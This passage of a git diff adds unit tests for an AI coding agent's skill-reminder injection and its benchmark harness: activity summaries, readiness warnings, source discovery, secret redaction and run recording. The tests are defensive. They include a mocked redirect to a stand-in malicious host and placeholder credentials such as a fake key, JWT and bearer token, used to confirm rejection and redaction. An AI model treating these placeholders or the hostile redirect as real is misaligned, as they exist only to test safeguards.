= SimpleNamespace(session=session) + soul = MagicMock() + soul.runtime = runtime + return soul + + +async def test_active_skill_injects_compact_reminder() -> None: + provider = ActiveSkillInjectionProvider() + result = await provider.get_injections([_user("implement the fix")], _soul(["ponytail"])) + assert len(result) == 1 + assert result[0].type == _ACTIVE_SKILLS_INJECTION_TYPE + assert "Active skill reminder:" in result[0].content + assert "ponytail" in result[0].content + assert "SKILL.md" not in result[0].content + + +async def test_active_skill_reminder_is_not_repeated_for_same_user_message() -> None: + provider = ActiveSkillInjectionProvider() + history = [ + _user("implement the fix"), + _reminder(active_skill_reminder(["ponytail"])), + Message(role="assistant", content=[TextPart(text="I will inspect it.")]), + ] + result = await provider.get_injections(history, _soul(["ponytail"])) + assert result == [] + + +async def test_new_user_message_rearms_active_skill_reminder() -> None: + provider = ActiveSkillInjectionProvider() + history = [ + _user("implement the fix"), + _reminder(active_skill_reminder(["ponytail"])), + Message(role="assistant", content=[TextPart(text="done")]), + _user("now adjust the tests"), + ] + result = await provider.get_injections(history, _soul(["ponytail"])) + assert len(result) == 1 + + +async def test_stop_named_skill_deactivates_only_that_skill() -> None: + provider = ActiveSkillInjectionProvider() + soul = _soul(["ponytail", "test-driven-development"]) + result = await provider.get_injections([_user("stop ponytail, keep going")], soul) + assert result == [] + active = cast(Any, soul.runtime).session.state.active_skills + assert active == ["test-driven-development"] + + +async def test_stop_hyphenated_skill_does_not_deactivate_prefix_skill() -> None: + provider = ActiveSkillInjectionProvider() + soul = _soul(["test", "test-driven-development"]) + result = await provider.get_injections([_user("stop test-driven-development")], soul) + assert result == [] + active = cast(Any, soul.runtime).session.state.active_skills + assert active == ["test"] + + +async def test_stop_word_without_named_skill_command_keeps_skill_active() -> None: + provider = ActiveSkillInjectionProvider() + soul = _soul(["ponytail"]) + result = await provider.get_injections( + [_user("stop overcomplicating the fix, keep ponytail active")], soul + ) + assert len(result) == 1 + active = cast(Any, soul.runtime).session.state.active_skills + assert active == ["ponytail"] + + +async def test_normal_mode_deactivates_all_active_skills() -> None: + provider = ActiveSkillInjectionProvider() + soul = _soul(["ponytail", "test-driven-development"]) + result = await provider.get_injections([_user("normal mode now")], soul) + assert result == [] + active = cast(Any, soul.runtime).session.state.active_skills + assert active == [] + + +async def test_deactivation_persistence_failure_is_visible() -> None: + provider = ActiveSkillInjectionProvider() + + with pytest.raises(OSError, match="read-only session"): + await provider.get_injections([_user("stop ponytail")], _soul_with_save_error(["ponytail"])) diff --git a/tests/core/test_benchmark_activity.py b/tests/core/test_benchmark_activity.py new file mode 100644 index 00000000..bc751fdd --- /dev/null +++ b/tests/core/test_benchmark_activity.py @@ -0,0 +1,142 @@ +from __future__ import annotations + +import json +from pathlib import Path + +from pythinker_core.message import ToolCall + +from pythinker_code.benchmark.activity import summarize_benchmark_activity +from pythinker_code.benchmark.report import render_run_report +from pythinker_code.wire.serde import serialize_wire_message + + +def test_summarize_activity_counts_changed_lines_and_tools(tmp_path: Path) -> None: + wire = tmp_path / "wire.jsonl" + wire.write_text( + "\n".join( + [ + json.dumps( + { + "message": serialize_wire_message( + ToolCall( + id="call-1", + function=ToolCall.FunctionBody( + name="StrReplaceFile", arguments="{}" + ), + ) + ) + } + ), + json.dumps( + { + "message": serialize_wire_message( + ToolCall( + id="call-2", + function=ToolCall.FunctionBody(name="Bash", arguments="{}"), + ) + ) + } + ), + ] + ) + + "\n", + encoding="utf-8", + ) + before = {"app.py": "def f():\n return 1\n"} + after = {"app.py": "def f():\n return 2\n", "new.py": "x = 1\n"} + + activity = summarize_benchmark_activity(before, after, wire, 0) + + assert activity["changed_files_count"] == 2 + assert activity["added_lines"] == 2 + assert activity["removed_lines"] == 1 + assert activity["tool_calls_by_name"] == {"Bash": 1, "StrReplaceFile": 1} + assert activity["shell_tool_calls"] == 1 + + +def test_summarize_activity_tool_calls_ignore_wire_read_errors(tmp_path: Path) -> None: + wire_dir = tmp_path / "wire.jsonl" + wire_dir.mkdir() + + activity = summarize_benchmark_activity({}, {}, wire_dir, 0) + + assert activity["tool_calls_by_name"] == {} + assert activity["shell_tool_calls"] == 0 + + +def test_render_run_report_includes_tool_call_breakdown(tmp_path: Path) -> None: + run_report = render_run_report( + run={ + "run_id": "run-id", + "model_key": "mock", + "provider_key": "provider", + "task_id": "task", + }, + summary={ + "activity": { + "changed_files_count": 1, + "added_lines": 10, + "removed_lines": 3, + "tool_calls_by_name": {"StrReplaceFile": 2, "Bash": 1}, + "shell_tool_calls": 2, + } + }, + artifact_root=tmp_path, + ) + + assert "- tool calls by name: Bash: 1, StrReplaceFile: 2" in run_report + + +def test_render_run_report_missing_activity_shows_unavailable(tmp_path: Path) -> None: + run_report = render_run_report( + run={ + "run_id": "run-id", + "model_key": "mock", + "provider_key": "provider", + "task_id": "task", + }, + summary={}, + artifact_root=tmp_path, + ) + + assert "- Activity: unavailable" in run_report + assert " - changed files:" not in run_report + + +def test_render_run_report_does_not_include_publishability_warnings(tmp_path: Path) -> None: + run_report = render_run_report( + run={ + "run_id": "run-id", + "model_key": "mock", + "provider_key": "provider", + "task_id": "task", + "suite_name": "pythinker-core", + "repeat_index": 1, + }, + summary={ + "usage": {"estimated_cost_usd": None}, + "environment": {"git_dirty": False}, + }, + artifact_root=tmp_path, + ) + + assert "Publishability warnings:" not in run_report + assert "- Single model only:" not in run_report + assert "- Single repeat only:" not in run_report + + +def test_render_run_report_ignores_malformed_estimated_cost(tmp_path: Path) -> None: + run_report = render_run_report( + run={"model_key": "mock", "provider_key": "mock"}, + summary={ + "run_id": "bench_bad_cost", + "status": "passed", + "score": 1.0, + "usage": {"estimated_cost_usd": "not-a-number"}, + "verification": {"status": "passed"}, + "runtime": {}, + }, + artifact_root=tmp_path, + ) + + assert "- Estimated cost: unavailable" in run_report diff --git a/tests/core/test_benchmark_compare.py b/tests/core/test_benchmark_compare.py new file mode 100644 index 00000000..edf7d8a9 --- /dev/null +++ b/tests/core/test_benchmark_compare.py @@ -0,0 +1,147 @@ +from __future__ import annotations + +from pythinker_code.benchmark.compare import readiness_warnings +from pythinker_code.benchmark.export import export_rows +from pythinker_code.benchmark.types import BenchmarkReportRow + + +def _row(model: str, task: str, repeat: int, cost: object = None) -> BenchmarkReportRow: + return BenchmarkReportRow( + run={ + "model_key": model, + "task_id": task, + "suite_name": "pythinker-core", + "repeat_index": repeat, + }, + summary={ + "status": "passed", + "usage": {"estimated_cost_usd": cost}, + "environment": {"git_dirty": False}, + }, + ) + + +def test_readiness_warnings_flag_non_publishable_single_model_run() -> None: + warnings = readiness_warnings([_row("minimax/m3", "core-safe-path-join", 1)]) + + assert "single model" in " ".join(warnings).lower() + assert "single repeat" in " ".join(warnings).lower() + assert "local fixture" in " ".join(warnings).lower() + assert "cost" in " ".join(warnings).lower() + + +def test_readiness_warnings_allow_multi_model_repeated_costed_run() -> None: + warnings = readiness_warnings( + [ + _row("model-a", "task", 1, 0.01), + _row("model-a", "task", 2, 0.01), + _row("model-b", "task", 1, 0.02), + _row("model-b", "task", 2, 0.02), + ] + ) + + assert not any("single model" in warning.lower() for warning in warnings) + assert not any("single repeat" in warning.lower() for warning in warnings) + + +def test_readiness_warnings_flag_single_repeat_per_model() -> None: + warnings = readiness_warnings( + [ + _row("model-a", "task-a", 1, 0.01), + _row("model-b", "task-b", 2, 0.02), + ] + ) + + assert "single repeat" in " ".join(warnings).lower() + + +def test_readiness_warnings_flag_missing_dirty_metadata() -> None: + row = BenchmarkReportRow( + run={ + "model_key": "model-a", + "task_id": "task", + "suite_name": "pythinker-core", + "repeat_index": 1, + }, + summary={ + "status": "passed", + "usage": {"estimated_cost_usd": 0.01}, + }, + ) + warnings = readiness_warnings([row]) + + assert any("dirty git worktree metadata" in warning.lower() for warning in warnings) + + +def test_readiness_warnings_flag_direct_task_runs_as_local_fixture() -> None: + row = BenchmarkReportRow( + run={ + "model_key": "model-a", + "task_id": "core-safe-path-join", + "suite_name": None, + "repeat_index": 1, + }, + summary={ + "status": "passed", + "usage": {"estimated_cost_usd": 0.01}, + "environment": {"git_dirty": False}, + }, + ) + + warnings = readiness_warnings([row]) + + assert "local fixture" in " ".join(warnings).lower() + + +def test_readiness_warnings_flag_smoke_suite_as_local_fixture() -> None: + row = BenchmarkReportRow( + run={ + "model_key": "model-a", + "task_id": "smoke-edit-readme", + "suite_name": "pythinker-smoke", + "repeat_index": 1, + }, + summary={ + "status": "passed", + "usage": {"estimated_cost_usd": 0.01}, + "environment": {"git_dirty": False}, + }, + ) + + warnings = readiness_warnings([row]) + + assert "local fixture" in " ".join(warnings).lower() + + +def test_export_rows_flatten_runtime_usage_and_activity() -> None: + rows = [ + BenchmarkReportRow( + run={"run_id": "r1", "model_key": "m1", "task_id": "t1", "repeat_index": 1}, + summary={ + "status": "passed", + "score": 1.0, + "runtime": {"duration_ms": 10, "steps": 2, "tool_calls": 3}, + "usage": {"total_tokens": 42, "estimated_cost_usd": 0.01}, + "activity": {"added_lines": 4, "removed_lines": 1, "shell_tool_calls": 1}, + }, + ) + ] + + assert export_rows(rows) == [ + { + "run_id": "r1", + "model": "m1", + "task": "t1", + "repeat": 1, + "status": "passed", + "score": 1.0, + "duration_ms": 10, + "steps": 2, + "tool_calls": 3, + "total_tokens": 42, + "estimated_cost_usd": 0.01, + "added_lines": 4, + "removed_lines": 1, + "shell_tool_calls": 1, + } + ] diff --git a/tests/core/test_benchmark_discovery.py b/tests/core/test_benchmark_discovery.py new file mode 100644 index 00000000..2b9abec7 --- /dev/null +++ b/tests/core/test_benchmark_discovery.py @@ -0,0 +1,228 @@ +from __future__ import annotations + +import json +import urllib.error +from pathlib import Path + +import pytest + +from pythinker_code.benchmark.commands import ( + BenchmarkArgs, + BenchmarkSyntaxError, + discover_benchmark, + parse_args, +) +from pythinker_code.benchmark.discovery import ( + DISCOVER_NETWORK_ENV, + SOURCE_URLS, + DiscoveredBenchmarkTask, + discover_benchmark_sources, + quiz_fixture_from_discovery, +) +from pythinker_code.benchmark.errors import BenchmarkDiscoveryError + + +def test_discover_terminal_bench_from_allowlisted_source() -> None: + html = """ + train-fasttext Github model-training hard + check-cert coding security medium + """ + + tasks = discover_benchmark_sources( + source="terminal-bench", + difficulty="hard", + limit=3, + fetch_text=lambda url: html, + ) + + assert [task.source for task in tasks] == ["terminal-bench"] + assert tasks[0].difficulty == "hard" + assert "train-fasttext" in tasks[0].title + assert tasks[0].trusted is False + + +def test_discover_deepswe_from_allowlisted_source() -> None: + html = """ + Add deterministic map conflict detection to Y.Map writes javascript + Fix PromQL label sorting across typed and untyped values go + """ + + tasks = discover_benchmark_sources( + source="deepswe", + difficulty="hard", + limit=1, + fetch_text=lambda url: html, + ) + + assert SOURCE_URLS["deepswe"] == "https://deepswe.datacurve.ai/" + assert tasks == [ + DiscoveredBenchmarkTask( + source="deepswe", + title="Add deterministic map conflict detection to Y.Map writes javascript", + difficulty="hard", + source_url="https://deepswe.datacurve.ai/", + trusted=False, + notes=tasks[0].notes, + ) + ] + + +def test_quiz_fixture_uses_deterministic_answer_check() -> None: + task = discover_benchmark_sources( + source="terminal-bench", + difficulty="hard", + limit=1, + fetch_text=lambda url: "train-fasttext Github model-training hard", + )[0] + + record = quiz_fixture_from_discovery( + task, + question="Which benchmark source produced this hard task?", + expected_substrings=["terminal-bench", "hard"], + ) + + assert record["verification"] == { + "type": "answer_contains", + "expected_substrings": ["terminal-bench", "hard"], + } + assert record["trusted"] is False + workspace = record["workspace"] + assert isinstance(workspace, dict) + assert workspace["files"] == {} + + +def test_discover_rejects_unknown_source() -> None: + with pytest.raises(ValueError, match="Unsupported benchmark source"): + discover_benchmark_sources( + source="random-blog", + difficulty="hard", + limit=1, + fetch_text=lambda url: "", + ) + + +def test_discover_rejects_invalid_limit() -> None: + with pytest.raises(ValueError, match="limit must be >= 1"): + discover_benchmark_sources( + source="terminal-bench", + difficulty="hard", + limit=0, + fetch_text=lambda url: "", + ) + + +def test_parse_discover_args() -> None: + args = parse_args("discover --source terminal-bench --difficulty hard --limit 5") + + assert args.subcommand == "discover" + assert args.source == "terminal-bench" + assert args.difficulty == "hard" + assert args.limit == 5 + + +def test_parse_discover_rejects_invalid_limit() -> None: + with pytest.raises(BenchmarkSyntaxError, match="--limit must be >= 1"): + parse_args("discover --source terminal-bench --limit 0") + + +def test_discover_benchmark_writes_jsonl_only_for_jsonl_output( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + task = DiscoveredBenchmarkTask( + source="terminal-bench", + title="train-fasttext Github model-training hard", + difficulty="hard", + source_url="https://www.tbench.ai/", + trusted=False, + notes="review required", + ) + monkeypatch.setattr( + "pythinker_code.benchmark.commands.discover_benchmark_sources", + lambda **_: [task], + ) + jsonl_output = tmp_path / "manifest.jsonl" + artifact_root_output = tmp_path / "benchmark-runs" + + jsonl_text = discover_benchmark( + BenchmarkArgs(subcommand="discover", source="terminal-bench", output=jsonl_output) + ) + artifact_root_text = discover_benchmark( + BenchmarkArgs( + subcommand="discover", + source="terminal-bench", + output=artifact_root_output, + ) + ) + + written_record = json.loads(jsonl_output.read_text(encoding="utf-8")) + assert written_record["trusted"] is False + assert written_record["verification"] == { + "type": "answer_contains", + "expected_substrings": ["terminal-bench", "hard"], + } + written_workspace = written_record["workspace"] + assert isinstance(written_workspace, dict) + assert written_workspace["files"] == {} + assert "Wrote provisional manifest" in jsonl_text + assert not artifact_root_output.exists() + assert "Wrote provisional manifest" not in artifact_root_text + + +def test_discover_benchmark_reports_no_tasks(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr( + "pythinker_code.benchmark.commands.discover_benchmark_sources", + lambda **_: [], + ) + + text = discover_benchmark(BenchmarkArgs(subcommand="discover", source="terminal-bench")) + + assert "No benchmark tasks found for terminal-bench at difficulty hard." in text + + +def test_fetch_text_requires_explicit_network_opt_in(monkeypatch: pytest.MonkeyPatch) -> None: + from pythinker_code.benchmark.discovery import _fetch_text + + monkeypatch.delenv(DISCOVER_NETWORK_ENV, raising=False) + + with pytest.raises(BenchmarkDiscoveryError, match=DISCOVER_NETWORK_ENV): + _fetch_text(SOURCE_URLS["terminal-bench"]) # pyright: ignore[reportPrivateUsage] + + +def test_fetch_text_wraps_url_errors(monkeypatch: pytest.MonkeyPatch) -> None: + from pythinker_code.benchmark.discovery import _fetch_text + + monkeypatch.setenv(DISCOVER_NETWORK_ENV, "1") + + def fail_urlopen(*args: object, **kwargs: object) -> object: + raise urllib.error.URLError("down") + + monkeypatch.setattr("pythinker_code.benchmark.discovery.urllib.request.urlopen", fail_urlopen) + + with pytest.raises(BenchmarkDiscoveryError, match="Failed to fetch benchmark source"): + _fetch_text(SOURCE_URLS["terminal-bench"]) # pyright: ignore[reportPrivateUsage] + + +def test_fetch_text_rejects_redirect_to_untrusted_host(monkeypatch: pytest.MonkeyPatch) -> None: + from pythinker_code.benchmark.discovery import _fetch_text + + class _Response: + def __enter__(self) -> _Response: + return self + + def __exit__(self, *exc: object) -> None: + return None + + def geturl(self) -> str: + return "https://evil.example/redirected" + + def read(self, _limit: int) -> bytes: + raise AssertionError("untrusted redirected response must not be read") + + monkeypatch.setenv(DISCOVER_NETWORK_ENV, "1") + monkeypatch.setattr( + "pythinker_code.benchmark.discovery.urllib.request.urlopen", + lambda *_, **__: _Response(), + ) + + with pytest.raises(BenchmarkDiscoveryError, match="Unsupported benchmark source host"): + _fetch_text(SOURCE_URLS["terminal-bench"]) # pyright: ignore[reportPrivateUsage] diff --git a/tests/core/test_benchmark_records.py b/tests/core/test_benchmark_records.py new file mode 100644 index 00000000..ec2cfe95 --- /dev/null +++ b/tests/core/test_benchmark_records.py @@ -0,0 +1,289 @@ +from __future__ import annotations + +import importlib.metadata +import json +from pathlib import Path + +import pytest + +from pythinker_code.benchmark.records import BenchmarkRecorder, load_run +from pythinker_code.benchmark.runner import BenchmarkResult, VerificationResult + + +def test_recorder_writes_required_artifacts_and_redacts(tmp_path: Path) -> None: + recorder = BenchmarkRecorder(tmp_path, "bench_test") + recorder.start_run( + command="/benchmark start --model mock-model --task smoke-edit-readme", + model_key="mock-model", + provider_key="mock", + task_id="smoke-edit-readme", + suite_name=None, + repeat_index=1, + ) + recorder.record_event( + "model_message", + {"content": "Authorization: Bearer secret-token-1234567890"}, + ) + result = BenchmarkResult( + run_id="bench_test", + status="passed", + exit_reason="verification_passed", + final_answer="done with sk-test-secret", + verification=VerificationResult( + status="passed", + type="command", + exit_code=0, + stdout="3 passed in 0.00s\n", + stderr="", + ), + duration_ms=10, + steps=1, + tool_calls=0, + changed_files=["README.md"], + input_tokens=0, + output_tokens=0, + reasoning_tokens=0, + estimated_cost_usd=None, + activity={}, + environment={}, + ) + + recorder.finish_run(result) + + run_dir = tmp_path / "bench_test" + for name in ( + "run.json", + "trace.jsonl", + "context.jsonl", + "wire.jsonl", + "final.md", + "summary.json", + "report.md", + ): + assert (run_dir / name).exists() + + run = json.loads((run_dir / "run.json").read_text(encoding="utf-8")) + assert run["status"] == "passed" + + trace = (run_dir / "trace.jsonl").read_text(encoding="utf-8") + assert "secret-token" not in trace + assert "" in trace + + final = (run_dir / "final.md").read_text(encoding="utf-8") + assert "sk-test-secret" not in final + + report = (run_dir / "report.md").read_text(encoding="utf-8") + assert "Pythinker Benchmark" in report + assert "Model: mock-model" in report + assert "Task: smoke-edit-readme" in report + assert "3 passed in 0.00s" in report + assert "" in report + + +def test_trace_payload_is_size_capped(tmp_path: Path) -> None: + recorder = BenchmarkRecorder(tmp_path, "bench_test") + recorder.start_run( + command="/benchmark start --model mock-model --task smoke-edit-readme", + model_key="mock-model", + provider_key="mock", + task_id="smoke-edit-readme", + suite_name=None, + repeat_index=1, + ) + + recorder.record_event("model_message", {"content": "x" * 20_000}) + + trace = (tmp_path / "bench_test" / "trace.jsonl").read_text(encoding="utf-8") + assert len(trace) < 12_000 + assert "truncated" in trace + + +@pytest.mark.parametrize("run_id", ["../escape", "/tmp/escape", "nested/run", r"nested\run", ""]) +def test_run_ids_reject_path_components(tmp_path: Path, run_id: str) -> None: + with pytest.raises(ValueError, match="Invalid benchmark run id"): + BenchmarkRecorder(tmp_path, run_id) + + with pytest.raises(ValueError, match="Invalid benchmark run id"): + load_run(tmp_path, run_id) + + +def test_context_and_wire_copy_only_tail_and_redact(tmp_path: Path) -> None: + context = tmp_path / "context-source.jsonl" + wire = tmp_path / "wire-source.jsonl" + context.write_text(json.dumps({"old": "context"}) + "\n", encoding="utf-8") + wire.write_text(json.dumps({"old": "wire"}) + "\n", encoding="utf-8") + context_offset = context.stat().st_size + wire_offset = wire.stat().st_size + context.write_text( + json.dumps({"old": "context"}) + + "\n" + + json.dumps({"new": "Authorization: Bearer secret-token-1234567890"}) + + "\n", + encoding="utf-8", + ) + wire.write_text( + json.dumps({"old": "wire"}) + + "\n" + + json.dumps({"new": "Cookie: session=abcdef1234567890"}) + + "\n", + encoding="utf-8", + ) + + recorder = BenchmarkRecorder(tmp_path / "runs", "bench_test") + recorder.start_run( + command="/benchmark start --model mock-model --task smoke-edit-readme", + model_key="mock-model", + provider_key="mock", + task_id="smoke-edit-readme", + suite_name=None, + repeat_index=1, + ) + + recorder.copy_context_and_wire( + context, + wire, + context_offset=context_offset, + wire_offset=wire_offset, + ) + + copied_context = (tmp_path / "runs" / "bench_test" / "context.jsonl").read_text( + encoding="utf-8" + ) + copied_wire = (tmp_path / "runs" / "bench_test" / "wire.jsonl").read_text(encoding="utf-8") + assert "old" not in copied_context + assert "old" not in copied_wire + assert "secret-token" not in copied_context + assert "abcdef1234567890" not in copied_wire + assert "" in copied_context + assert "" in copied_wire + for line in copied_context.splitlines() + copied_wire.splitlines(): + json.loads(line) + + +def test_copied_jsonl_artifacts_remain_valid_when_truncated(tmp_path: Path) -> None: + wire = tmp_path / "wire-source.jsonl" + wire.write_text( + json.dumps({"message": {"type": "ToolResult", "payload": {"text": "x" * 20_000}}}) + + "\n" + + "\n", + encoding="utf-8", + ) + + recorder = BenchmarkRecorder(tmp_path / "runs", "bench_test") + recorder.start_run( + command="/benchmark start --model mock-model --task smoke-edit-readme", + model_key="mock-model", + provider_key="mock", + task_id="smoke-edit-readme", + suite_name=None, + repeat_index=1, + ) + + recorder.copy_context_and_wire( + tmp_path / "missing-context.jsonl", + wire, + ) + + copied_wire = tmp_path / "runs" / "bench_test" / "wire.jsonl" + records = [json.loads(line) for line in copied_wire.read_text(encoding="utf-8").splitlines()] + assert records[0]["message"]["payload"]["text"].endswith("") + assert records[1]["type"] == "invalid_jsonl_line" + + +def test_finish_run_persists_reproducibility_metadata(tmp_path: Path) -> None: + from pythinker_code.benchmark.records import BenchmarkRecorder + from pythinker_code.benchmark.runner import BenchmarkResult, VerificationResult + + recorder = BenchmarkRecorder(tmp_path, "bench_env") + recorder.start_run( + command="/benchmark start", + model_key="mock-model", + provider_key="mock-provider", + task_id="core-safe-path-join", + suite_name="pythinker-core", + repeat_index=1, + ) + result = BenchmarkResult( + run_id="bench_env", + status="passed", + exit_reason="verification_passed", + final_answer="done", + verification=VerificationResult( + status="passed", + type="command", + exit_code=0, + stdout="", + stderr="", + ), + duration_ms=10, + steps=1, + tool_calls=1, + changed_files=["paths.py"], + input_tokens=3, + output_tokens=2, + reasoning_tokens=0, + estimated_cost_usd=None, + activity={}, + environment={ + "git_commit": "abc123", + "git_dirty": False, + "python_version": "3.14.0", + "platform": "test-platform", + "task_timeout_seconds": 180, + "task_max_steps": 60, + "verification_command_sha256": "0" * 64, + }, + ) + + recorder.finish_run(result) + + summary = json.loads((tmp_path / "bench_env" / "summary.json").read_text(encoding="utf-8")) + assert summary["environment"]["git_commit"] == "abc123" + assert summary["environment"]["git_dirty"] is False + assert summary["environment"]["task_max_steps"] == 60 + + +def test_collect_benchmark_environment_includes_pythinker_version_when_available( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + from pythinker_code.benchmark import environment + + monkeypatch.setattr( + "pythinker_code.benchmark.environment.importlib.metadata.version", + lambda _distribution_name: "9.9.9", + ) + + collected = environment.collect_benchmark_environment( + repo_root=tmp_path, + task_timeout_seconds=4, + task_max_steps=8, + verification_command="pytest", + ) + + assert collected["pythinker_version"] == "9.9.9" + + +def test_collect_benchmark_environment_records_none_without_version( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + def _missing_package(_distribution_name: str) -> str: + raise importlib.metadata.PackageNotFoundError + + monkeypatch.setattr( + importlib.metadata, + "version", + _missing_package, + ) + + from pythinker_code.benchmark import environment + + collected = environment.collect_benchmark_environment( + repo_root=tmp_path, + task_timeout_seconds=4, + task_max_steps=8, + verification_command="pytest", + ) + + assert collected["pythinker_version"] is None diff --git a/tests/core/test_benchmark_redact.py b/tests/core/test_benchmark_redact.py new file mode 100644 index 00000000..5639d657 --- /dev/null +++ b/tests/core/test_benchmark_redact.py @@ -0,0 +1,21 @@ +from __future__ import annotations + +from pythinker_code.benchmark.redact import redact_text + + +def test_redact_text_covers_common_secret_shapes() -> None: + text = "\n".join( + [ + "password=hunter2", + "aws=AKIAIOSFODNN7EXAMPLE", + "jwt=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.signature", + "-----BEGIN PRIVATE KEY-----\nabc123\n-----END PRIVATE KEY-----", + ] + ) + + redacted = redact_text(text) + + assert "hunter2" not in redacted + assert "AKIAIOSFODNN7EXAMPLE" not in redacted + assert "eyJhbGciOiJIUzI1NiJ9" not in redacted + assert "abc123" not in redacted diff --git a/tests/core/test_benchmark_runner.py b/tests/core/test_benchmark_runner.py new file mode 100644 index 00000000..1f9b2398 --- /dev/null +++ b/tests/core/test_benchmark_runner.py @@ -0,0 +1,343 @@ +from __future__ import annotations + +import dataclasses +import json +from pathlib import Path +from unittest.mock import AsyncMock + +import pytest +from pydantic import SecretStr +from pythinker_core.message import Message +from pythinker_core.tooling.empty import EmptyToolset + +from pythinker_code.benchmark.records import BenchmarkRecorder +from pythinker_code.benchmark.runner import run_task +from pythinker_code.benchmark.tasks import BenchmarkLimits, load_task +from pythinker_code.config import LLMModel, LLMProvider +from pythinker_code.soul.agent import Agent, Runtime +from pythinker_code.soul.context import Context +from pythinker_code.soul.pythinkersoul import PythinkerSoul + + +def _make_soul(runtime: Runtime, tmp_path: Path) -> PythinkerSoul: + runtime.config.providers["mock"] = LLMProvider( + type="pythinker", base_url="", api_key=SecretStr("") + ) + runtime.config.models["mock-model"] = LLMModel( + provider="mock", model="mock", max_context_size=100_000 + ) + agent = Agent( + name="Test Agent", + system_prompt="Test system prompt.", + toolset=EmptyToolset(), + runtime=runtime, + ) + return PythinkerSoul(agent, context=Context(file_backend=tmp_path / "history.jsonl")) + + +async def test_run_task_records_passed_smoke_task( + runtime: Runtime, tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + soul = _make_soul(runtime, tmp_path) + + async def fake_turn(message: Message): + workspace = Path(str(soul.runtime.work_dir)) + prompt = message.extract_text(" ") + assert "Pythinker Benchmark workspace:" in prompt + assert str(workspace) in prompt + wire_path = Path(str(soul.runtime.session.wire_file.path)) + wire_path.parent.mkdir(parents=True, exist_ok=True) + with wire_path.open("a", encoding="utf-8") as f: + f.write( + json.dumps( + { + "message": { + "type": "ToolCall", + "payload": {"id": "call-1", "name": "Bash"}, + } + } + ) + + "\n" + ) + f.write( + json.dumps( + { + "message": { + "type": "ToolExecutionStarted", + "payload": {"tool_call_id": "call-1"}, + } + } + ) + + "\n" + ) + f.write( + json.dumps( + { + "message": { + "type": "ToolCall", + "payload": {"id": "call-2", "name": "StrReplaceFile"}, + } + } + ) + + "\n" + ) + f.write( + json.dumps( + { + "message": { + "type": "ToolExecutionStarted", + "payload": {"tool_call_id": "call-2"}, + } + } + ) + + "\n" + ) + f.write( + json.dumps( + { + "message": { + "type": "StatusUpdate", + "payload": { + "token_usage": { + "input_other": 10, + "input_cache_read": 20, + "input_cache_creation": 5, + "output": 7, + }, + }, + } + } + ) + + "\n" + ) + (workspace / "README.md").write_text( + "# Example Project\n\nPythinker benchmark smoke test\n", + encoding="utf-8", + ) + return type("Outcome", (), {"step_count": 1, "final_message": message})() + + soul.turn = AsyncMock(side_effect=fake_turn) # type: ignore[method-assign] + recorder = BenchmarkRecorder(tmp_path / "runs", "bench_test") + + result = await run_task( + soul=soul, + task=load_task("smoke-edit-readme"), + recorder=recorder, + model_key="mock-model", + command="/benchmark start --model mock-model --task smoke-edit-readme", + ) + + assert result.status == "passed" + assert result.tool_calls == 2 + assert result.activity["tool_calls_by_name"] == {"Bash": 1, "StrReplaceFile": 1} + assert result.changed_files == ["README.md"] + assert result.input_tokens == 35 + assert result.output_tokens == 7 + assert (tmp_path / "runs" / "bench_test" / "summary.json").exists() + summary = json.loads( + (tmp_path / "runs" / "bench_test" / "summary.json").read_text(encoding="utf-8") + ) + assert summary["activity"]["tool_calls_by_name"] == {"Bash": 1, "StrReplaceFile": 1} + + +async def test_run_task_records_failed_verification(runtime: Runtime, tmp_path: Path) -> None: + soul = _make_soul(runtime, tmp_path) + soul.turn = AsyncMock( # type: ignore[method-assign] + return_value=type("Outcome", (), {"step_count": 1, "final_message": None})() + ) + recorder = BenchmarkRecorder(tmp_path / "runs", "bench_test") + + result = await run_task( + soul=soul, + task=load_task("smoke-edit-readme"), + recorder=recorder, + model_key="mock-model", + command="/benchmark start --model mock-model --task smoke-edit-readme", + ) + + assert result.status == "failed_verification" + assert result.verification.exit_code != 0 + + +async def test_run_task_changed_files_ignore_verification_artifacts( + runtime: Runtime, tmp_path: Path +) -> None: + soul = _make_soul(runtime, tmp_path) + + async def fake_turn(message: Message): + workspace = Path(str(soul.runtime.work_dir)) + (workspace / "strings.py").write_text( + "def slugify(text):\n return text.strip().lower().replace(' ', '-')\n", + encoding="utf-8", + ) + return type("Outcome", (), {"step_count": 1, "final_message": message})() + + soul.turn = AsyncMock(side_effect=fake_turn) # type: ignore[method-assign] + recorder = BenchmarkRecorder(tmp_path / "runs", "bench_test") + + result = await run_task( + soul=soul, + task=load_task("smoke-add-small-function"), + recorder=recorder, + model_key="mock-model", + command="/benchmark start --task smoke-add-small-function", + ) + + assert result.status == "passed" + assert result.changed_files == ["strings.py"] + + +async def test_run_task_applies_and_restores_task_step_limit( + runtime: Runtime, tmp_path: Path +) -> None: + soul = _make_soul(runtime, tmp_path) + original_limit = soul._loop_control.max_steps_per_turn # pyright: ignore[reportPrivateUsage] + seen_limits: list[int] = [] + + async def fake_turn(message: Message): + seen_limits.append( + soul._loop_control.max_steps_per_turn # pyright: ignore[reportPrivateUsage] + ) + workspace = Path(str(soul.runtime.work_dir)) + (workspace / "strings.py").write_text( + "def slugify(text):\n return text.strip().lower().replace(' ', '-')\n", + encoding="utf-8", + ) + return type("Outcome", (), {"step_count": 1, "final_message": message})() + + soul.turn = AsyncMock(side_effect=fake_turn) # type: ignore[method-assign] + task = load_task("smoke-add-small-function") + task = dataclasses.replace(task, limits=BenchmarkLimits(timeout_seconds=120, max_steps=2)) + recorder = BenchmarkRecorder(tmp_path / "runs", "bench_test") + + result = await run_task( + soul=soul, + task=task, + recorder=recorder, + model_key="mock-model", + command="/benchmark start --task smoke-add-small-function", + ) + + assert result.status == "passed" + assert seen_limits == [2] + assert soul._loop_control.max_steps_per_turn == original_limit # pyright: ignore[reportPrivateUsage] + + +async def test_run_task_records_timeout_override_for_environment( + runtime: Runtime, + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + soul = _make_soul(runtime, tmp_path) + soul.turn = AsyncMock( # type: ignore[method-assign] + return_value=type("Outcome", (), {"step_count": 1, "final_message": None})() + ) + recorder = BenchmarkRecorder(tmp_path / "runs", "bench_test") + captured_timeout: list[object] = [] + + def fake_run(cmd: list[str], **kwargs: object): + _ = cmd + 